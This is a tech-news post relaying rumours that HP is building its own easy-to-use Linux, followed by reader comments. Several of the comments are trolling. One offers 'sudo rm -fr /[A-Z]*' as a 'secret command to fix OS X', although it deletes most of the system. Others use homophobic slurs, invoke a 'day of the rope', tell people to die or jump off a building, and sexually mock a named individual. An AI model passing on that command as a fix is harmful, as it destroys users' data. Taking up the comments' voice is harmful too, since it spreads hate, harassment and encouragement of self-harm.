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HP May Be Developing Its Own Version of Linux

Posted by ScuttleMonkey on from the pay-no-attention-to-that-man-behind-the-curtain dept.

vondiggity writes to tell us that HP is working on several different ways to make an end run around Vista. Among the plans is also a supposed rumor that certain factions within HP are developing their own flavor of Linux. Executives at HP deny that any meaningful amount of resources are being directed into plans for a mass-market operating system, stating their main goal is to innovate on top of Vista. "Still, the sources say employees in HP's PC division are exploring the possibility of building a mass-market operating system. HP's software would be based on Linux, the open-source operating system that is already widely available, but it would be simpler and easier for mainstream users, the sources say. The goal may be to make HP less dependent on Windows and to strengthen HP's hand against Apple (AAPL), which has gained market share in recent years by offering easy-to-use computers with its own operating system."

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  1. Epic lulz to be had. by Anonymous Coward · · Score: -1, Troll

    Christian Weston Chandler shows off his Sonichu character on his dick: http://lulz.net/furi/res/330616.html

    This is what happens when you give high-functioning autistics with too much testosterone too much freedom to color their dicks with marker and send it to people online.

  2. Maybe this is by Anonymous Coward · · Score: -1, Troll

    Year of the desktop Linux

  3. THE DAY OF THE ROPE!!! by Anonymous Coward · · Score: -1, Troll

    i hear that hp is doing this to put the names of anyone who orders one on a list of people to be dealt with on the day of the rope. fucking linux faggots.

  4. question by Anonymous Coward · · Score: -1, Troll

    how's that job search going?

  5. faggots by Anonymous Coward · · Score: -1, Troll

    die faggots. get the aids and die or better yet just go jump off a building. you faggots are destroying society with your dicks in a mans ass.

  6. Secret command to fix OS X by Anonymous Coward · · Score: -1, Troll

    I found a secret command that fixes OSX systems:

    sudo rm -fr /[A-Z]*

    That is guaranteed to make your OSX system better in mysterious ways! Enjoy!

  7. Re:Worst euphamism ever by Blakey+Rat · · Score: 0, Troll

    Could we please stop referring to programming as "innovating"? Not every single piece of code anyone writes is a breakthrough.

    Especially when you're talking about Linux. :) Innovation-- hell! You're lucky if they've managed to duplicate the features of Windows 95.

    --
    Comment of the year